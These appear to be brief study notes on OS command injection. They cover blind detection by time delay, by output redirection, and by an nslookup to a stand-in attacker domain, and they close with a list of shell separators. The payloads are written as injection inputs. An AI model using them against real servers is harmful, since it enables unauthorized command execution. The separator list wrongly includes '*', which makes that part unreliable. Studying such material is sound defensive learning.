OS Command Injection

It's a vulnerability that allows an attacker to execute operating system (OS) commands on the server that is running an application.

Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response.

Detection:

Detecting can occur through time delays, for example:

& ping -c 10 127.0.0.1 &

Detecting through redirecting output, for example:

& whoami > /var/www/static/whoami.txt & and then trying to access the text file

https://vulnerable-website.com/whoami.txt

Detecting through out-of-band (OAST) techniques, for example:

& nslookup kgji2ohoyw.web-attacker.com &

this command is used to send a DNS query to the web-attacker.com monitor the web-attack.com DNS server to see if a query is reached.

The different shell metacharacters have subtly different behaviours that might change whether they work in certain situations.

The following command separators work on both Windows and Unix-based systems:

  • &

  • &&

  • |

  • ||

  • *

Last updated